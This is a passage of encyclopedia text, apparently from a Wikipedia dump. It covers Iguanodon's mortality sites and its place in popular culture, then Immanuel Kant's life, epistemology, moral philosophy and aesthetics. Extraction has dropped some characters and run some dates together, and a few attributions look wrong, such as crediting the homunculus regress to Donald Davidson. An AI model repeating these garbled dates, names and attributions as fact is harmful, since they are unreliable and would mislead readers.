          Although sometimes interpreted as the result of a single catastrophe, the Bernissart finds instead are now interpreted as recording multiple events. According to this interpretation, at least three occasions of mortality are recorded, and though numerous individuals would have died in a geologically short time span (?10100 years), this does not necessarily mean these Iguanodon were herding animals.


          For one thing, juvenile remains are very uncommon at this site, unlike modern cases with herd mortality. They more likely were the periodic victims of flash floods whose carcasses accumulated in a lake or marshy setting. The Nehden find, however, with its greater span of individual ages, more even mix of Mantellisaurus to Iguanodon bernissartensis, and confined geographic nature, may record mortality of herding animals migrating through rivers.


          Unlike other purported herding dinosaurs (especially hadrosaurs and ceratopsids), there is no evidence that Iguanodon was sexually dimorphic, with one gender appreciably different from the other. At one time, it was suggested that the Bernissart I. "mantelli", or I. atherfieldensis (both now Mantellisaurus) represented a gender, possibly female, of the larger and more robust, possibly male, I. bernissartensis. However, this is not supported today.


          


          In popular culture
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              Statues of Iguanodon by Benjamin Waterhouse Hawkins, still visible at Crystal Palace.
            

          


          Since its description in 1825, Iguanodon has been a feature of worldwide popular culture. Two lifesize reconstructions of Iguanodon built at the Crystal Palace in London in 1852 greatly contributed to the popularity of the genus. Their thumb spikes were mistaken for horns, and they were depicted as elephant-like quadrupeds, yet this was the first time an attempt was made at constructing full-size dinosaur models.
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              Sculpture outside the museum of the Royal Belgian Institute of Natural Sciences, Brussels.
            

          


          Several motion pictures have featured Iguanodon. In the Disney film Dinosaur, an Iguanodon named Aladar served as the protagonist with three other iguanodonts as other main characters; a loosely-related ride of the same name at Disney's Animal Kingdom is based around bringing an Iguanodon back to the present. Iguanodon is one of the three dinosaur genera that inspired Godzilla; the other two were Tyrannosaurus and Stegosaurus. Iguanodon has also made appearances in some of the many Land Before Time films, as well as episodes of the television series.


          Aside from appearances on the silver screen, Iguanodon has also been featured on the television documentary miniseries Walking with Dinosaurs (1999) produced by the BBC, and played a starring role in Sir Arthur Conan Doyle's book, The Lost World. It also was present in Bob Bakker's Raptor Red (1995), as a Utahraptor prey item. A main belt asteroid, 1989 CB3, has been named 9941 Iguanodon in honour of the genus.


          Because it is both one of the first dinosaurs described and one of the best-known dinosaurs, Iguanodon has been well-placed as a barometer of changing public and scientific perceptions on dinosaurs. Its reconstructions have gone through three stages: the elephantine quadrupedal horn-snouted reptile of the Victorians; a bipedal but still fundamentally reptilian animal using its tail to prop itself up; and finally, its current, more agile and dynamic representation, able to shift from two legs to all fours. The second representation dominated the twentieth century, but was slowly overturned during the 1960s.


          
            Retrieved from " http://en.wikipedia.org/wiki/Iguanodon"
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          Immanuel Kant IPA: [ɪmanuəl kant] ( 22 April 1724  12 February 1804) was an 18th-century German philosopher from the Prussian city of Knigsberg (now Kaliningrad, Russia). He is regarded as one of the most influential thinkers of modern Europe and of the late Enlightenment.


          Among his most important works are the Critique of Pure Reason and the Critique of Practical Reason, which examine the relation of epistemology, metaphysics, and ethics.


          


          Biography


          Immanuel Kant was born in 1724 in Knigsberg, as the fourth of eleven children (five of them reached adulthood). He was baptized as 'Emanuel' but later changed his name to 'Immanuel' after he learned Hebrew. He spent his entire life in and around his hometown, the capital of Prussia at that time, never traveling more than a hundred miles from Knigsberg. His father Johann Georg Kant (16821746) was a German craftsman from Memel, at the time Prussia's most northeastern city (now Klaipėda, Lithuania). His mother Anna Regina Porter (16971737), born in Nuremberg, was the daughter of a Scottish saddle and harness maker. In his youth, Kant was a solid, albeit unspectacular, student. He was raised in a Pietist household that stressed intense religious devotion, personal humility, and a literal interpretation of the Bible. Consequently, Kant received a stern education  strict, punitive, and disciplinary  that favored Latin and religious instruction over mathematics and science.


          


          The Young Scholar


          Kant showed great application to study early in his life. He was first sent to Collegium Fredericianum and then enrolled in the University of Knigsberg in 1740, at the age of 16. He studied the philosophy of Leibniz and Wolff under Martin Knutsen, a rationalist who was also familiar with developments in British philosophy and science and who introduced Kant to the new mathematical physics of Newton. Knutsen dissuaded Kant from the theory of pre-established harmony, which he regarded as "the pillow for the lazy mind". He also dissuaded the young scholar from idealism, which was negatively regarded by the whole philosophy of the 18th century. Even after Kant developed the theory of transcendental idealism in the "Critique of Pure Reason", he nevertheless refuted traditional idealism, i.e. the idea that reality is mental, in the second part of that work. His father's stroke and subsequent death in 1746 interrupted his studies. Kant became a private tutor in the smaller towns surrounding Knigsberg, but continued his scholarly research. 1749 saw the publication of his first philosophical work, Thoughts on the True Estimation of Living Forces. Kant published several more works on scientific topics, becoming a university lecturer in 1755. The subject on which he lectured was "Metaphysics"; the course textbook was written by A.G. Baumgarten, the author of the term "aesthetics" in its modern meaning.


          In the General History of Nature and Theory of the Heavens (Allgemeine Naturgeschichte und Theorie des Himmels) (1755), Kant laid out the Nebular Hypothesis, in which he deduced that the Solar System formed from a large cloud of gas, a nebula. He thus attempted to explain the order of the solar system, seen previously by Newton as being imposed from the beginning by God. Kant also correctly deduced that the Milky Way was a large disk of stars, which he theorized also formed from a (much larger) spinning cloud of gas. He further suggested the possibility that other nebulae might also be similarly large and distant disks of stars. These postulations opened new horizons for astronomy: for the first time extending astronomy beyond the solar system to galactic and extragalactic realms.


          From this point on, Kant turned increasingly to philosophical issues, although he continued to write on the sciences throughout his life. In the early 1760s, Kant produced a series of important works in philosophy. The False Subtlety of the Four Syllogistic Figures, a work in logic, was published in 1762. Two more works appeared the following year: Attempt to Introduce the Concept of Negative Magnitudes into Philosophy and The Only Possible Argument in Support of a Demonstration of the Existence of God. In 1764, Kant wrote Observations on the Feeling of the Beautiful and Sublime and then was second to Moses Mendelssohn in a Berlin Academy prize competition with his Inquiry Concerning the Distinctness of the Principles of Natural Theology and Morality (often referred to as "the Prize Essay"). In 1770, at the age of 45, Kant was finally appointed Professor of Logic and Metaphysics at the University of Knigsberg. Kant wrote his Inaugural Dissertation in defense of this appointment. This work saw the emergence of several central themes of his mature work, including the distinction between the faculties of intellectual thought and sensible receptivity. Not to observe this distinction would mean to commit the error of subreption, and, as he says in the last chapter of the dissertation, only in avoidance of this error will metaphysics flourish.


          The issue that vexed Kant was central to what twentieth century scholars termed "the philosophy of mind." The flowering of the natural sciences had led to an understanding of how data reaches the brain. Sunlight may fall upon a distant object, whereupon light is reflected from various parts of the object in a way that maps the surface features (colour, texture, etc.) of the object. The light reaches the eye of a human observer, passes through the cornea, is focused by the lens upon the retina where it forms an image similar to that formed by light passing through a pinhole into a camera obscura. The retinal cells next send impulses through the optic nerve (actually a dense cable of individual nerve cells) and thereafter they form a mapping in the brain of the visual features of the distant object. The interior mapping is not the exterior thing being mapped, and our belief that there is a meaningful relationship between the exterior object and the mapping in the brain depends on a chain of reasoning that is itself not fully grounded. But the uncertainty aroused by this considerations, the uncertainties raised by optical illusions, misperceptions, delusions, etc., are not the end of the worries of the philosopher who is no longer slumbering. Donald Davidson, an influential Stanford University professor of philosophy, introduced the next level of perplexity by pointing out that simply having a mapping, something like a little television screen somewhere in the brain, does not at all answer the question of how humans then think about or process the information present in that form. Imagine, Davidson said, that there is a little man in the brain who watches the television screen and directs the whole organism based on those perceptions. But, wait, that will not work either because the little man has his own eyes, and a mapping of the image on the television screen appears on an even tinier television screen in his brain. And immediately upon discovering this chain of dependence it becomes clear that it implies infinite regress.


          So something else has to be going on. There may indeed be a mapping in the brain. In fact, brain scientists can actually find physical maps of the body in the brain. The volume of cells that monitors the hand has the approximate form of a human hand, for instance. But somehow the mind, or the brain, has to "reach out" and comprehend that mapping and in some way process the information in a way that does not simply create another mapping of it.


          Without knowing the details now known about neurophysiology, Kant clearly saw that the mind could not function if it were only an empty container at the end of a fire hose of data coming in from the outside. Something had to be giving order to the incoming data. If, for instance, part of the incoming data included a visual mapping of a fertile frog egg, then that data would not remain constant. It would be followed by visual mappings of the tadpole and frog sorts. But, to be useful information for the budding biology student, some kind of meta-data would have to be created to keep those images in the same sequence in which they were received. The ordering of data in this kind of sequence is the mind's function of constituting time for the purposes of human awareness of the environment. The same general considerations apply to the mind's function of constituting space for ordering mappings of visual and tactile signals arriving via the already described chains of physical causation.


          As Willard van Orman Quine pointed out much later in his Logic, the internal storage of visual data does not even have to be stored in contiguous portions of the brain, any more than a computer file on a hard drive has to be entirely in one solid block on a hard drive. As long as the brain has a mapping of where it has put the parts of the visual record of the tadpole or the frog, those parts can "written" anywhere. Or, to put it in terms more closely approximating Quine's original formulation, an entity does not have to be contiguous to be an entity.


          


          The Silent Decade


          At the age of 46, Kant was an established scholar and an increasingly influential philosopher. Much was expected of him. In response to a letter from his student, Markus Herz, Kant came to recognize that in the Inaugural Dissertation, he had failed to account for the relation and connection between our sensible and intellectual faculties, i.e., he needed to explain both how humans acquire data and how they process datarelated but very different processes. He also credited David Hume with awakening him from "dogmatic slumber" (circa 1770). Kant did not publish any work in philosophy for the next eleven years.
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          Kant spent his silent decade working on a solution to the problem mentioned above. Although fond of company and conversation with others, Kant isolated himself. He resisted friends' attempts to bring him out of his isolation. In 1778, in response to one of these offers by a former pupil, Kant wrote "Any change makes me apprehensive, even if it offers the greatest promise of improving my condition, and I am persuaded by this natural instinct of mine that I must take heed if I wish that the threads which the Fates spin so thin and weak in my case to be spun to any length. My great thanks, to my well-wishers and friends, who think so kindly of me as to undertake my welfare, but at the same time a most humble request to protect me in my current condition from any disturbance."


          When Kant emerged from his silence in 1781, the result was the Critique of Pure Reason. Although now uniformly recognized as one of the greatest works in the history of philosophy, this Critique was largely ignored upon its initial publication. The book was long, over 800 pages in the original German edition, and written in what some considered a convoluted style. It received few reviews, and these granted no significance to the work. Its density made it, as Johann Gottfried Herder put it in a letter to Johann Georg Hamann, a "tough nut to crack," obscured by "all this heavy gossamer." Its reception stood in stark contrast, to the praise Kant had received for earlier works such as his "Prize Essay" and other shorter works that precede the first Critique. These well-received and readable tracts include one on the earthquake in Lisbon which was so popular that it was sold by the page. Prior to the change in course documented in the first Critique, his books sold well, and by the time he published Observations On the Feeling of the Beautiful and the Sublime in 1764 he had become a popular author of some note. Kant was disappointed with the first Critique's reception. Recognizing the need to clarify the original treatise, Kant wrote the Prolegomena to any Future Metaphysics in 1783 as a summary of its main views. He also encouraged his friend, Johann Schultz, to publish a brief commentary on the Critique of Pure Reason.


          Kant's reputation gradually rose through the 1780s, sparked by a series of important works: the 1784 essay, " Answer to the Question: What is Enlightenment?"; 1785s Groundwork of the Metaphysics of Morals (his first work on moral philosophy); and, from 1786, Metaphysical Foundations of Natural Science. But Kant's fame ultimately arrived from an unexpected source. In 1786, Karl Reinhold began to publish a series of public letters on the Kantian philosophy. In these letters, Reinhold framed Kant's philosophy as a response to the central intellectual controversy of the era: the Pantheism Dispute. Friedrich Jacobi had accused the recently deceased G. E. Lessing (a distinguished dramatist and philosophical essayist) of Spinozism. Such a charge, tantamount to atheism, was vigorously denied by Lessing's friend Moses Mendelssohn, and a bitter public dispute arose among partisans. The controversy gradually escalated into a general debate over the values of the Enlightenment and the value of reason itself. Reinhold maintained in his letters that Kant's Critique of Pure Reason could settle this dispute by defending the authority and bounds of reason. Reinhold's letters were widely read and made Kant the most famous philosopher of his era.


          


          Kant's later work


          Kant published a second edition of the Critique of Pure Reason (Kritik der reinen Vernunft) in 1787, heavily revising the first parts of the book. Most of his subsequent work focused on other areas of philosophy. He continued to develop his moral philosophy, notably in 1788's Critique of Practical Reason (known as the second Critique) and 1797s Metaphysics of Morals. The 1790 Critique of Judgment (the third Critique) applied the Kantian system to aesthetics and teleology. He also wrote a number of semi-popular essays on history, religion, politics and other topics. These works were well received by Kant's contemporaries and confirmed his preeminent status in eighteenth century philosophy. There were several journals devoted solely to defending and criticizing the Kantian philosophy. But despite his success, philosophical trends were moving in another direction. Many of Kant's most important disciples (including Reinhold, Beck and Fichte) transformed the Kantian position into increasingly radical forms of idealism. The progressive stages of revision of Kant's teachings marked the emergence of German Idealism. Kant opposed these developments and publicly denounced Fichte in an open letter in 1799. It was one of his final philosophical acts. Kant's health, long poor, took a turn for the worse and he died at Konigsberg on 12 February 1804 uttering "Genug" [enough] before expiring. His unfinished final work, the fragmentary Opus Postumum, was (as its title suggests) published posthumously.


          Kant never concluded that one could form a coherent account of the universe and of human experience without grounding such an account in the "thing in itself." Many of those who followed him argued that since the "thing in itself" was unknowable its existence could not simply be assumed. Rather than arbitrarily switching to an account that was ungrounded in anything supposed to be the "real," as did the German Idealists, another group arose to ask how our (generally reliable) accounts of a coherent and rule-abiding universe were actually grounded. This new kind of philosophy became known as Phenomenology, and its preeminent spokesman was Edmund Husserl.


          


          Kant the man


          A variety of popular beliefs have arisen concerning Kant's life. It is often held, for instance, that Kant was a late bloomer, that he only became an important philosopher in his mid-50s after rejecting his earlier views. While it is true that Kant wrote his greatest works relatively late in life, there is a tendency to underestimate the value of his earlier works. Recent Kant scholarship has devoted more attention to these "pre-critical" writings and has recognized a degree of continuity with his mature work.


          Many of the common myths concerning Kant's personal mannerisms are enumerated, explained, and refuted in Goldwaite's introduction to his translation of Observations on the Feeling of the Beautiful and Sublime. It is often held that Kant lived a very strict and predictable life, leading to the oft-repeated story that neighbors would set their clocks by his daily walks. He never married. Only later in his life, under the influence of his friend, the English merchant Joseph Green, did Kant adopt a more regulated lifestyle.


          


          Kant's philosophy


          In his essay " Answering the Question: What is Enlightenment?," Kant defined the Enlightenment as an age shaped by the Latin motto, Sapere aude ("Dare to Know"). Kant maintained that one ought to think autonomously, free of the dictates of external authority. His work reconciled many of the differences between the Rationalist and Empiricist traditions of the 18th century. He had a decisive impact on the Romantic and German Idealist philosophies of the 19th century. His work has also been a starting point for many 20th century philosophers.


          Kant asserted that, because of the limitations of argumentation in the absence of irrefutable evidence, no one could really know whether there is a God and an afterlife or not, and, conversely, that no one could really know that there is no God and no afterlife. For the sake of society and morality, Kant asserted, people are reasonably justified in believing in them, even though they could never know for sure whether they are real or not. He explained:


          
            
              All the preparations of reason, therefore, in what may be called pure philosophy, are in reality directed to those three problems only [God, the soul, and freedom]. However, these three elements in themselves still hold independent, proportional, objective weight individually. Moreover, in a collective relational context; namely, to know what ought to be done: if the will is free, if there is a God, and if there is a future world. As this concerns our actions with reference to the highest aims of life, we see that the ultimate intention of nature in her wise provision was really, in the constitution of our reason, directed to moral interests only.

            

          


          The sense of an enlightened approach and the critical method required that "If one cannot prove that a thing is, he may try to prove that it is not. And if he succeeds in doing neither (as often occurs), he may still ask whether it is in his interest to accept one or the other of the alternatives hypothetically, from the theoretical or the practical point of view. Hence the question no longer is as to whether perpetual peace is a real thing or not a real thing, or as to whether we may not be deceiving ourselves when we adopt the former alternative, but we must act on the supposition of its being real." The presupposition of God, soul, and freedom was then a practical concern, for "Morality, by itself, constitutes a system, but happiness does not, unless it is distributed in exact proportion to morality. This, however, is possible in an intelligible world only under a wise author and ruler. Reason compels us to admit such a ruler, together with life in such a world, which we must consider as future life, or else all moral laws are to be considered as idle dreams ."


          The two interconnected foundations of what Kant called his " critical philosophy" that created the " Copernican revolution" that he claimed to have wrought in philosophy were his epistemology of Transcendental Idealism and his moral philosophy of the autonomy of practical reason. These teachings placed the active, rational human subject at the centre of the cognitive and moral worlds. With regard to knowledge, Kant argued that the rational order of the world as known by science could never be accounted for merely by the fortuitous accumulation of sense perceptions. It was instead the product of the rule-based activity of "synthesis." This activity consisted of conceptual unification and integration carried out by the mind through concepts or the "categories of the understanding" operating on the perceptual manifold within space and time, which are not concepts, but are forms of sensibility that are a priori necessary conditions for any possible experience. Thus the objective order of nature and the causal necessity that operates within it are dependent upon the mind. There is wide disagreement among Kant scholars on the correct interpretation of this train of thought. The 'two-world' interpretation regards Kant's position as a statement of epistemological limitation, that we are never able to transcend the bounds of our own mind, meaning that we cannot access the " thing-in-itself". Kant, however, also speaks of the thing in itself or transcendental object as a product of the (human) understanding as it attempts to conceive of objects in abstraction from the conditions of sensibility. Following this line of thought, some interpreters have argued that the thing in itself does not represent a separate ontological domain but simply a way of considering objects by means of the understanding alone  this is known as the two-aspect view. With regard to morality, Kant argued that the source of the good lies not in anything outside the human subject, either in nature or given by God, but rather is only the good will itself. A good will is one that acts from duty in accordance with the universal moral law that the autonomous human being freely gives itself. This law obliges one to treat humanity  understood as rational agency, and represented through oneself as well as others  as an end in itself rather than (merely) as means to other ends the individual might hold.


          These ideas have largely framed or influenced all subsequent philosophical discussion and analysis. The specifics of Kant's account generated immediate and lasting controversy. Nevertheless, his theses  that the mind itself necessarily makes a constitutive contribution to its knowledge, that this contribution is transcendental rather than psychological, that philosophy involves self-critical activity, that morality is rooted in human freedom, and that to act autonomously is to act according to rational moral principles  have all had a lasting effect on subsequent philosophy.


          


          Kant's theory of perception


          Kant defines his theory of perception in his influential 1781 work The Critique of Pure Reason, which has often been cited as the most significant volume of metaphysics and epistemology in modern philosophy. Kant maintains that our understanding of the external world has its foundations not merely in experience, but in both experience and a priori concepts, thus offering a non-empiricist critique of rationalist philosophy, which is what he and others referred to as his "Copernican revolution."


          Before discussing his theory, it is necessary to explain Kant's distinction between analytic and synthetic propositions.


          
            	Analytic proposition: a proposition whose predicate concept is contained in its subject concept; e.g., "All bachelors are unmarried," or, "All bodies take up space."


            	Synthetic proposition: a proposition whose predicate concept is not contained in its subject concept; e.g., "All bachelors are happy," or, "All bodies have mass."

          


          Analytic propositions are true by nature of the meaning of the words involved in the sentencewe require no further knowledge than a grasp of the language to understand this proposition. On the other hand, synthetic statements are those that tell us something about the world. The truth or falsehood of synthetic statements derives from something outside of their linguistic content. In this instance, mass is not a necessary predicate of the body; until we are told the heaviness of the body we do not know that it has mass. In this case, experience of the body is required before its heaviness becomes clear. Before Kant's first Critique, empiricists (cf. Hume) and rationalists (cf. Leibniz) assumed that all synthetic statements required experience in order to be known.


          Kant, however, contests this: he claims that elementary mathematics, like arithmetic, is synthetic a priori, in that its statements provide new knowledge, but knowledge that is not derived from experience. This becomes part of his over-all argument for transcendental idealism. That is, he argues that the possibility of experience depends on certain necessary conditionswhich he calls a priori formsand that these conditions structure and hold true of the world of experience. In so doing, his main claims in the " Transcendental Aesthetic" are that mathematic judgments are synthetic a priori and in addition, that Space and Time are not derived from experience but rather are its preconditions


          This is quite naturally confusing, yet Kant's idea is that since his first claimabout mathematic judgmentsis true, then it will follow that his claims about space and time are true as well. The next paragraph deals with the notion of mathematic judgments being synthetic a priori, skip to the paragraph afterward to read more about perception and Kant.


          Once we have grasped the concepts of addition, subtraction or the functions of basic arithmetic, we do not need any empirical experience to know that 100 + 100 = 200, and in this way it would appear that arithmetic is in fact analytic. However, that it is analytic can be disproved thus: if the numbers five and seven in the calculation 5 + 7 = 12 are examined, there is nothing to be found in them by which the number 12 can be inferred. Such it is that "5 + 7" and "the cube root of 1,728" or "12" are not analytic because their reference is the same but their sense is notthat the mathematic judgment "5 + 7 = 12" tells us something new about the world. It is self-evident, and undeniably a priori, but at the same time it is synthetic. And so Kant proves a proposition can be synthetic and known a priori.


          Kant asserts that experience is based both upon the perception of external objects and a priori knowledge. The external world, he writes, provides those things which we sense. It is our mind, though, that processes this information about the world and gives it order, allowing us to comprehend it. Our mind supplies the conditions of space and time to experienced objects. According to the "transcendental unity of apperception", the concepts of the mind (Understanding) and the perceptions or intuitions that garner information from phenomena (Sensibility) are synthesized by comprehension. Without the concepts, intuitions are nondescript; without the intuitions, concepts are meaninglessthus the famous quotation, "Thoughts without content are empty, intuitions without concepts are blind."


          


          Kants Categories of the Faculty of Understanding


          In studying the work of Kant one must realize that there is a distinction between "understanding" as the general concept (in German, das Verstehen) and the "understanding" as a faculty of the human mind (in German, der Verstand). In much English language scholarship, the word "understanding" is used in both senses.


          Immanuel Kant deemed it obvious that we have some objective knowledge of the world, such as, say, Newtonian physics. But this knowledge relies on synthetic, a priori laws of nature, like causality and substance. The problem, then, is how this is possible. Kants solution was to reason that the subject must supply laws that make experience of objects possible, and that these laws are the synthetic, a priori laws of nature which we can know all objects are subject to prior to experiencing them. So to deduce all these laws, Kant examined experience in general, dissecting in it what is supplied by the mind from what is supplied by the given intuitions. This which has just been explicated is commonly called a transcendental reduction.


          To begin with, Kants distinction between the a posteriori being contingent and particular knowledge, and the a priori being universal and necessary knowledge, must be kept in mind. For if we merely connect two intuitions together in a perceiving subject, the knowledge will always be subjective because it is derived a posteriori, when what is desired is for the knowledge to be objective, that is, for the two intuitions to refer to the object and hold good of it necessarily universally for anyone at anytime, not just the perceiving subject in its current condition. Now what else is equivalent to objective knowledge besides the a priori, that is to say, universal and necessary knowledge? Nothing else, and hence before knowledge can be objective, it must be incorporated under an a priori category of the understanding.


          For example, say a subject says, The sun shines on the stone; the stone grows warm, which is all he perceives in perception. His judgment is contingent and holds no necessity. But if he says, The sunshine causes the stone to warm, he subsumes the perception under the category of causality, which is not found in the perception, and necessarily synthesizes the concept sunshine with the concept heat, producing a necessarily universally true judgment.


          To explain the categories in more detail, they are the preconditions of the construction of objects in the mind. Indeed, to even think of the sun and stone presupposes the category of subsistence, that is, substance. For the categories synthesize the random data of the sensory manifold into intelligible objects. This means that the categories are also the most abstract things one can say of any object whatsoever, and hence one can have an a priori cognition of the totality of all objects of experience if one can list all of them. To do so, Kant formulates another transcendental reduction.


          Judgments are, for Kant, the preconditions of any thought. Man thinks via judgments, so all possible judgments must be listed and the perceptions connected within them put aside, so as to make it possible to examine the moments when the understanding is engaged in constructing judgments. For the categories are equivalent to these moments, in that they are concepts of intuitions in general, so far as they are determined by these moments universally and necessarily. Thus by listing all the moments, one can deduce from them all of the categories.


          One may now ask: How many possible judgments are there? Kant believed that all the possible propositions within Aristotles syllogistic logic are equivalent to all possible judgments, and that all the logical operators within the propositions are equivalent to the moments of the understanding within judgments. Thus he listed Aristotles system in four groups of three: quantity (universal, particular, singular), quality (affirmative, negative, infinite), relation (categorical, hypothetical, disjunctive) and modality (problematic, assertoric, apodeictic). The parallelism with Kants categories is obvious: quantity (unity, plurality, totality), quality (reality, negation, limitation), relation (substance, cause, community) and modality (possibility, existence, necessity).


          The fundamental building blocks of experience, i.e. objective knowledge, are now in place. First there is the sensibility, which supplies the mind with intuitions, and then there is the understanding, which produces judgments of these intuitions and can subsume them under categories. These categories lift the intuitions up out of the subjects current state of consciousness and place them within consciousness in general, producing universally necessary knowledge. For the categories are innate in any rational being, so any intuition thought within a category in one mind will necessarily be subsumed and understood identically in any mind.


          


          Kants Schema


          Kant ran into a problem with his theory that the mind plays a part in producing objective knowledge. Intuitions and categories are entirely disparate, so how can they interact? Kants solution is the schema: a priori principles by which the transcendental imagination connects concepts with intuitions through time. All the principles are temporally bound, for if a concept is purely a priori, as the categories are, then they must apply for all times. Hence there are principles such as substance is that which endures through time, and the cause must always be prior to the effect.


          


          Moral philosophy
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          Kant developed his moral philosophy in three works: Groundwork of the Metaphysic of Morals (1785), Critique of Practical Reason (1788), and Metaphysics of Morals (1797) .


          In the Groundwork, Kant's method involves trying to convert our everyday, obvious, rational knowledge of morality into philosophical knowledge. The latter two works followed a method of using "practical reason", which is based only upon things about which reason can tell us, and not deriving any principles from experience, to reach conclusions which are able to be applied to the world of experience (in the second part of The Metaphysic of Morals).


          Kant is known for his theory that there is a single moral obligation, which he called the " Categorical Imperative", and is derived from the concept of duty. Kant defines the demands of the moral law as "categorical imperatives." Categorical imperatives are principles that are intrinsically valid; they are good in and of themselves; they must be obeyed in all situations and circumstances if our behaviour is to observe the moral law. It is from the Categorical Imperative that all other moral obligations are generated, and by which all moral obligations can be tested. Kant also stated that the moral means and ends can be applied to the categorical imperative, that rational beings can pursue certain "ends" using the appropriate "means." Ends that are based on physical needs or wants will always give for merely hypothetical imperatives. The categorical imperative, however, may be based only on something that is an "end in itself". That is, an end that is a means only to itself and not to some other need, desire, or purpose. He believed that the moral law is a principle of reason itself, and is not based on contingent facts about the world, such as what would make us happy, but to act upon the moral law which has no other motive than "worthiness of being happy". Accordingly, he believed that moral obligation applies to all and only rational agents.


          A categorical imperative is an unconditional obligation; that is, it has the force of an obligation regardless of our will or desires (Contrast this with hypothetical imperative) In Groundwork of the Metaphysic of Morals (1785) Kant enumerated three formulations of the categorical imperative which he believed to be roughly equivalent:


          Kant believed that if an action is not done with the motive of duty, then it is without moral value. He thought that every action should have pure intention behind it; otherwise it was meaningless. He didn't necessarily believe that the final result was the most important aspect of an action, but that how the person felt while carrying out the action was the time at which value was set to the result.


          In Groundwork of the Metaphysic of Morals, Kant also posited the "counter-utilitarian idea that there is a difference between preferences and values and that considerations of individual rights temper calculations of aggregate utility", a concept that is an axiom in economics:


          
            Everything has either a price or a dignity. Whatever has a price can be replaced by something else as its equivalent; on the other hand, whatever is above all price, and therefore admits of no equivalent, has a dignity. But that which constitutes the condition under which alone something can be an end in itself does not have mere relative worth, i.e., price, but an intrinsic worth, i.e., a dignity. (p. 53, italics in original).

          


          


          The first formulation


          The first formulation (Formula of Universal Law) of the moral imperative "requires that the maxims be chosen as though they should hold as universal laws of nature" (436). This formulation in principle has as its supreme law "Always act according to that maxim whose universality as a law you can at the same time will", and is the "only condition under which a will can never come into conflict with itself"


          One interpretation of the first formulation is called the "universalizability test." An agent's maxim, according to Kant, is his "subjective principle of human actions"  that is, what the agent believes is his reason to act. The universalizability test has five steps:


          
            	Find the agent's maxim. The maxim is an action paired with its motivation. Example: "I will lie for personal benefit." Lying is the action, the motivation is to get what you desire. Paired together they form the maxim.


            	Imagine a possible world in which everyone in a similar position to the real-world agent followed that maxim.


            	Decide whether any contradictions or irrationalities arise in the possible world as a result of following the maxim.


            	If a contradiction or irrationality arises, acting on that maxim is not allowed in the real world.


            	If there is no contradiction, then acting on that maxim is permissible, and in some instances required.

          


          (For a modern parallel, see John Rawls' hypothetical situation, the original position.)


          


          The second formulation


          The second formulation (Formula of the End in Itself) says that "the rational being, as by its nature an end and thus as an end in itself, must serve in every maxim as the condition restricting all merely relative and arbitrary ends." The principle is "Act with reference to every rational being (whether yourself or another) so that it is an end in itself in your maxim", meaning the rational being is "the basis of all maxims of action" and "must be treated never as a mere means but as the supreme limiting condition in the use of all means, i.e., as an end at the same time."


          


          The third formulation


          The third formulation (Formula of Autonomy) is a synthesis of the first two and is the basis for the "complete determination of all maxims". It says "that all maxims which stem from autonomous legislation ought to harmonize with a possible realm of ends as with a realm of nature." In principle, "So act as if your maxims should serve at the same time as the universal law (of all rational beings)", meaning that we should so act that we may think of ourselves as "a member in the universal realm of ends", legislating universal laws through our maxims, in a "possible realm of ends." (See also Kingdom of Ends)


          


          Idea of God


          Kant stated the practical necessity for a belief in God in his Critique of Pure Reason. As an idea of pure reason, "we do not have the slightest ground to assume in an absolute manner the object of this idea", but adds that the idea of God cannot be separated from the relation of happiness with morality as the "ideal of the supreme good." The foundation of this connection is an intelligible moral world, and "is necessary from the practical point of view". Later, in the Logic,  3 (1800) he argued that the idea of God can only be proved through the moral law and only with practical intent, that is, "the intent so as to act as if there be a God" (trans. Hartmann and Schwartz). See Argument from morality for more details.


          


          Idea of freedom


          In the Critique of Pure Reason Kant distinguishes between the transcendental idea of freedom, which as a psychological concept is "mainly empirical" and refers to "the question whether we must admit a power of spontaneously beginning a series of successive things or states" as a real ground of necessity in regard to causality, and the practical concept of freedom as the independence of our will from the "coercion" or "necessitation through sensuous impulses." Kant finds it a source of difficulty that the practical concept of freedom is founded on the transcendental idea of freedom, but for the sake of practical interests uses the practical meaning, taking "no account of its transcendental meaning", which he feels was properly "disposed of" in the Third Antinomy, and as an element in the question of the freedom of the will is for philosophy "a real stumbling-block" that has "embarrassed speculative reason".


          Kant calls practical "everything that is possible through freedom", and the pure practical laws that are never given through sensuous conditions but are held analogously with the universal law of causality are moral laws. Reason can give us only the "pragmatic laws of free action through the senses", but pure practical laws given by reason a priori dictate "what ought to be done".


          


          Aesthetic philosophy


          Kant discusses the subjective nature of aesthetic qualities and experiences in Observations on the Feeling of the Beautiful and Sublime, (1764). Kant's contribution to aesthetic theory is developed in the Critique of Judgment (1790) where he investigates the possibility and logical status of "judgments of taste." In the "Critique of Aesthetic Judgment," the first major division of the Critique of Judgment, Kant used the term "aesthetic" in a manner that is, according to Kant scholar W.H. Walsh, its modern sense. Prior to this, in the Critique of Pure Reason, Kant had, in order to note the essential differences between judgments of taste, moral judgments, and scientific judgments, abandoned the use of the term "aesthetic" as "designating the critique of taste," noting that judgments of taste could never be "directed" by "laws a priori". After A. G. Baumgarten, who wrote Aesthetica (175058), Kant was one of the first philosophers to develop and integrate aesthetic theory into a unified and comprehensive philosophical system, utilizing ideas that played an integral role throughout his philosophy.


          In the chapter "Analytic of the Beautiful" of the Critique of Judgment, Kant states that beauty is not a property of an artwork or natural phenomenon, but is instead a consciousness of the pleasure which attends the 'free play' of the imagination and the understanding. Even though it appears that we are using reason to decide that which is beautiful, the judgment is not a cognitive judgment, "and is consequently not logical, but aesthetical" ( 1). A pure judgement of taste is in fact subjective insofar as it refers to the emotional response of the subject and is based upon nothing but esteem for an object itself: it is a disinterested pleasure, and we feel that pure judgements of taste, i.e. judgements of beauty, lay claim to universal validity (2022). It is important to note that this universal validity is not derived from a determinate concept of beauty but from common sense. Kant also believed that a judgement of taste shares characteristics engaged in a moral judgement: both are disinterested, and we hold them to be universal. In the chapter "Analytic of the Sublime" Kant identifies the sublime as an aesthetic quality which, like beauty, is subjective, but unlike beauty refers to an indeterminate relationship between the faculties of the imagination and of reason, and shares the character of moral judgments in the use of reason. The feeling of the sublime, itself comprised of two distinct modes (the mathematical sublime and the dynamical sublime), describe two subjective moments both of which concern the relationship of the faculty of the imagination to reason. The mathematical sublime is situated in the failure of the imagination to comprehend natural objects which appear boundless and formless, or which appear "absolutely great" ( 2325). This imaginative failure is then recuperated through the pleasure taken in reason's assertion of the concept of infinity. In this move the faculty of reason proves itself superior to our fallible sensible self ( 2526). In the dynamical sublime there is the sense of annihilation of the sensible self as the imagination tries to comprehend a vast might. This power of nature threatens us but through the resistance of reason to such sensible annihilation, the subject feels a pleasure and a sense of the human moral vocation. This appreciation of moral feeling through exposure to the sublime helps to develop moral character.


